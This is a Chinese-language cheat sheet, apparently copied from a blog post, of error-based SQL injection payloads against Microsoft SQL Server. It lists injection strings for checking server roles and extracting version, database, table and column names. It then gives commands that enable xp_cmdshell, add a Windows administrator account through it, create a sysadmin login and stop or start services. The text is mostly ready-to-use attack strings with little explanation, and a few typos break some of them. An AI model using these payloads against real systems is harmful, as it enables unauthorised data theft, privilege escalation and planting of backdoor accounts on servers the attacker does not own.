Mssql数据库是由微软公司开发的,中小型数据库,经常搭配asp使用。
and exsits (select * from sysobjects)>0
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_SRVROLEMEMBER('db_owner'));--
and 1=(select @@version)
原理解释:@@version查询到的为字符类型但是让它“=1”(转化为整数类型),就会报错输出@@version的信息。
拓展:
and 1=(select db_name()) #查询数据库名称
系统一共自带4个数据库,用来记录数据库的一些信息。
这四个数据库分别用dbid=1,2,3,4来标记
and 1=(select top 1 name from master..sysdatabases where dbid>4)
爆出一个库名假如为db,则运用如下语句可以继续爆库名
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'db')
依次运用就可以爆出全部用户数据库名
运用如下语句爆出第二个数据库名
and 1=(select top 1 name from master..sysdatabases where dbid>5)
爆出第三个数据库名
and 1=(select top 1 name from master..sysdatabases where dbid>6)
依次运用即可爆出全部库名
运用如下命令可以爆出全部数据库名
and 1=(select name from mast..sysdatabases for xml path)
xtype=‘U‘表示查询的为表
and 1=(select top 1 name from sysobjects where xtype='U' )
假如爆出来的第一个表名为tables,运用如下语句爆出第二个表名
and 1=(select top 1 name from sysobjects where xtype='U' and name<>tables)
依次运用爆出全部表名
运用如下命令爆出全部表名
and 1=(select name from sysobjects for xml path)
获取user表的列名
and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='user'))
and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='user')and name<>id)
依次获取全部列名
xtype=‘x’查询 扩展存储过程
and 1=(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')
开启扩展
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
开启
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_regread',1;RECONFIGURE;
创建用户
exec master..xp_cmdshell'net user admin admin /add'
将用户加入管理员组
exec master..xp_cmdshell'net localgroup administrators admin /add'
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolememner test,sysadmin
exec master..xp_servicecontrol 'stop',服务
exec master..xp_servicecontrol 'start',服务
原文:https://www.cnblogs.com/Wuser/p/12321174.html